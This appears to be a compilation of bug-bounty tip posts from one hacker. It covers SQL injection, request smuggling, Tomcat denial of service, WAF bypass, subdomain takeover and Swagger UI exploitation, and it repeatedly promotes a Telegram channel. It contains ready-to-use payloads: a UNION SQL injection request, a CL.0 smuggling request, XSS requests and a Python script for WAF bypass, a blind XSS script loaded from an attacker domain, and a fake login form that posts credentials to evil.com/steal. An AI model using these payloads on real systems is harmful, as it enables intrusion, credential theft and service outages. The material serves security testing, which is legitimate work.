I was awarded a $1,000 bounty on @Hacker0x01 🪅

Tip💁‍♂️: Check for all smuggling types during your Tests.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: POST REQUEST SQLI with full data dump

Tip💁‍♂️: test for sqli on all authenticated POST requests parameters

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: PII LEAK
Tip💁‍♂️: Always read the source of the pages and check every endpoint⚠️🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

When access the same endpoint on the UI version i cant see any data , but using burp repeater I was able to access these informations, also this endpoint found at the source of the page🚨

Bug🐞: PII LEAK on Unprotected Endpoint.
Tip💁‍♂️: Always read the source of the pages and check every endpoint🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

🔥🔥Again🔥🔥

Bug🐞: PII LEAK on Unprotected Endpoint.[3K records]
Tip💁‍♂️: Always read the source of the pages and check every endpoint🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: IDOR lead to leak agent data and messages.
Tip💁‍♂️: FUZZ 1st and second and 3rd /dir.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.

Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:


---

PoC: Unauthenticated SQL Injection

Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456

HTTP Request PoC

POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+

Explanation:

The plugin registered an AJAX action qsm_get_questions accessible without authentication.

The question_id parameter is vulnerable to SQL injection.

The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).



---

References:

Patchstack Advisory

NVD - CVE-2021-24456

WPScan Advisory



---

Happy to join the 10K Reputation Points Club @Hacker0x01 🪅🎉

I thank this great platform for the wonderful opportunities it offers us🔥🫡

🐞Join my Telegram channel for BB tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

[CVE-2025-31650] Apache Tomcat DoS via Malformed HTTP Priority Headers

A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).

Affected Versions:

Tomcat 9.0.76 – 9.0.102

Tomcat 10.1.10 – 10.1.39

Tomcat 11.0.0-M2 – 11.0.5


Fixed in:

Tomcat 9.0.104

Tomcat 10.1.40

Tomcat 11.0.6


What’s the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.

Examples of malicious headers:

Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar

Impact:
No authentication needed — attackers can exhaust server memory remotely.

Mitigation:

Update to the latest version of Tomcat.

Use a reverse proxy to strip malformed Priority headers.

Set up rate limiting and monitor memory usage.


Details:

CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650

RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html

Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826


Stay safe, patch early!


---

CL.0 HTTP Smuggling → Limited DoS

1. What happens?
CL.0 smuggling exploits a mismatch where the front‑end honors Content-Length: 0 but the back‑end still reads any extra bytes sent afterward .


2. Exploit (PoC)

POST /upload HTTP/1.1
Host: target.com
Content-Length: 0

[100 KB of “A” padding here]
GET /healthcheck HTTP/1.1
Host: target.com

The front‑end closes the request immediately, while the back‑end queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .


3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .


4. Detection

Enable verbose reverse‑proxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .

Monitor backend queue lengths for unusual stalls after zero‑length frames .

Guys, don't be shy about voting, it's free!

Bug🐞: access to users records using public airtable url.

Tip💁‍♂️: check for airtable urls on every .js files and you may found the gold there.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

🔥 Tips to Hunt Subdomain Takeovers 🔥

1️⃣ Scan JavaScript Files
Look inside .js for hardcoded subdomains
🔍 layout-*.js, app-*.js, etc.

2️⃣ Check DNS (CNAME)
Look for subdomains pointing to services like Vercel, Heroku, GitHub Pages
🧭 dig, host, nslookup

3️⃣ Visit & Inspect Errors
Subdomain shows "project not found"?
🚨 Could be vulnerable!

4️⃣ Try to Claim It
Deploy a project with the same name on the linked service
⚙️ Especially on platforms like vercel.app

5️⃣ Use Automation Tools
🛠️ subzy, tko-subs, nuclei

6️⃣ Explore Public Repos
Find .vercel, deployment configs, or exposed project names
📦 GitHub is gold!

Bounty💰:1000$
Bug🐞:Bypass the Rate-Limit on login page using '%00' [OLD BUT GOLD🪅].
Tip💁‍♂️: Try using %00 after the email when testing for RL bugs, this will bypass the validation sometimes.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

🔍 Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting

When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them — using the Content-Encoding header.

💡 Two Tricks:

1️⃣ Valid Compression (e.g. gzip, deflate)

Compress your payload.

Send it with Content-Encoding: gzip.

Many WAFs won't decompress it and will miss the XSS.


2️⃣ Fake or Random Content-Encoding

Use a random or incorrect value like Content-Encoding: xyz.

Some backends ignore unknown encodings and just process the request body normally.

Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding — leading to a bypass.


📌 Example with gzip compression:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

[ gzip-compressed payload with: <script>alert(1)</script> ]

📌 Example with fake encoding:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: x-nonsense
Content-Type: application/x-www-form-urlencoded

comment=<script>alert(1)</script>

🧠 Why it works:

WAFs might block based on the header alone or misinterpret it.

The backend may not enforce the declared encoding and just process the raw body.


🛠️ Python Example:

import requests

payload = 'comment=<script>alert(1)</script>'
headers = {
'Content-Encoding': 'x-xyz123', # Random/fake value
'Content-Type': 'application/x-www-form-urlencoded'
}

requests.post('https://target.com/submit-comment', data=payload, headers=headers)

⚠️ Notes:

Behavior varies between servers and WAFs.

Best used when stored content is later rendered in a browser (Stored XSS).

Always test on a case-by-case basis.


---

#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding

🚨 Blind XSS & HTML Injection in Exposed Swagger UI

🔍 Swagger UI Exposure = Attack Surface

Many Swagger UIs are exposed publicly in production. You can find them using Google & GitHub dorks like:

🔎 Google Dorks:

inurl:/swagger-ui/?url=
inurl:/swagger-ui/index.html
intitle:"Swagger UI"

🐙 GitHub Dorks:

filename:swagger.json "swagger-ui"
filename:swagger-config.json


---

💉 Blind XSS via ?url= or ?configUrl=

Swagger UI loads external API specs from ?url= or ?configUrl= and renders untrusted JSON/YAML fields into the page without sanitization.

✅ Blind XSS payload:

{
"info": {
"title": "<script src=//xsshunter.yourdomain.js></script>"
}
}

🧠 Send the target:

https://target.com/swagger-ui/?url=https://evil.com/payload.json

⛔️ The payload triggers XSS when opened by internal staff (QA/dev/admin).


---

🧠 Elevate Impact with HTMli — Fake Login Page

If full XSS is blocked (via CSP), you can inject HTML that mimics a login page, increasing severity due to phishing risk.

🎭 HTMli Payload:

{
"info": {
"title": "<h2>Session Expired</h2><form action='https://evil.com/steal' method='POST'><input type='text' name='user' placeholder='Username'><br><input type='password' name='pass' placeholder='Password'><br><button type='submit'>Login</button></form>"
}
}

➡️ Injects a credential-harvesting form inside the Swagger UI.

🧨 This tricks internal users into entering creds — high-impact phishing vector.

Bounty💰:1000$.

Bug🐞:Creating support tickets in any user account.

Tip💁‍♂️: on the support form request try to add some-email related-parameters🪅.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder